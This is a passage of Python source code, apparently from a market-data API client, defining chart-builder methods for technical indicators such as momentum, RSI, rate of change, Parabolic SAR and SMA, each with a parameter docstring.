over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MINMAXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_minmaxindex( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MINMAXINDEX to chart builder Indexes of lowest and highest values over period(MINMAXINDEX). This API call returns meta and time series values of MINMAXINDEX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MINMAXINDEXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_minus_di( self, exchange=None, country=None, time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MINUS_DI to chart builder Minus Directional Indicator(MINUS_DI) is a component of the Average Directional Index(ADX) and it measures the existence of downtrend. This API call returns meta and time series values of MINUS_DI. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MINUS_DIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_minus_dm( self, exchange=None, country=None, time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MINUS_DM to chart builder Minus Directional Movement(MINUS_DM) is calculated as: Previous Low - Low. This API call returns meta and time series values of MINUS_DM. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MINUS_DMEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_mom( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MOM to chart builder Momentum(MOM) compares current price with the previous price N timeperiods ago. This API call returns meta and time series values of MOM. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MOMEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_natr( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of NATR to chart builder Normalized Average True Range(NATR) is used to compare and analyze across different price levels due to its normalized quality, which might be more effective than the original ATR. This API call returns meta and time series values of NATR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = NATREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_obv( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of OBV to chart builder On Balance Volume(OBV) is a momentum indicator which uses volume flow to forecast upcoming price changes. This API call returns meta and time series values of OBV. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Name of instrument you want to request For preffered stocks use dot(.) delimiterE.g. BRK.A or BRK.B will be correct :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = OBVEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_plus_di( self, exchange=None, country=None, time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of PLUS_DI to chart builder Plus Directional Indicator(PLUS_DI) is a component of the Average Directional Index(ADX) and it measures the existence of uptrend. This API call returns meta and time series values of PLUS_DI. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = PLUS_DIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_plus_dm( self, exchange=None, country=None, time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of PLUS_DM to chart builder Plus Directional Movement(PLUS_DM) is calculated as: High - Previous High. This API call returns meta and time series values of PLUS_DM. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = PLUS_DMEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ppo( self, exchange=None, country=None, series_type="close", fast_period="10", slow_period="21", ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of PPO to chart builder Percentage Price Oscillator(PPO) shows relationship between two Moving Averages(MA) as a percentage. This API call returns meta and time series values of PPO. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param fast_period: Number of periods for fast moving average. Must be at least 1 :param slow_period: Number of periods for slow moving average. Must be at least 1 :param ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = PPOEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, fast_period=fast_period, slow_period=slow_period, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_roc( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ROC to chart builder Rate of change(ROC) calculates rate of change between current price and price n timeperiods ago. Formula: ((price / prevPrice) - 1) * 100. This API call returns meta and time series values of ROC. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ROCEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_rocp( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ROCP to chart builder Rate of change percentage(ROCP) calculates rate of change in % between current price and price n timeperiods ago. Formula: (price - prevPrice) / prevPrice. This API call returns meta and time series values of ROCP. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ROCPEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_rocr( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ROCR to chart builder Rate of change ratio(ROCR) calculates ratio between current price and price n timeperiods ago. Formula: (price / prevPrice). This API call returns meta and time series values of ROCR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ROCREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_rocr100( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ROCR100 to chart builder Rate of change ratio 100 scale(ROCR100) calculates ratio with 100 scale between current price and price n timeperiods ago. Formula: (price / prevPrice) * 100. This API call returns meta and time series values of ROCR100. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ROCR100Endpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_rsi( self, exchange=None, country=None, series_type="close", time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of RSI to chart builder Relative Strength Index(RSI) is a momentum indicator which calculates the magnitude of a price changes to assess the overbought and oversold conditions in the price of an asset. This API call returns meta and time series values of RSI. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = RSIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_rvol( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of RVOL to chart builder Relative Volume Indicator(RVOL) shows how the current trading volume is compared to past volume over a given period. This API call returns meta and time series values of RVOL. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = RVOLEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_sar( self, acceleration="0.02", maximum="0.2", exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of SAR to chart builder Parabolic SAR(SAR) is used to identify and spot upcoming asset momentum. This API call returns meta and time series values of SAR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param acceleration: :param maximum: :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = SAREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], acceleration=acceleration, maximum=maximum, exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_sma( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of SMA to chart builder Simple Moving Average(SMA) is an arithmetic moving average calculated by adding latest closing prices and them dividing them by number of time periods. This API call returns meta and time series values of SMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = SMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, 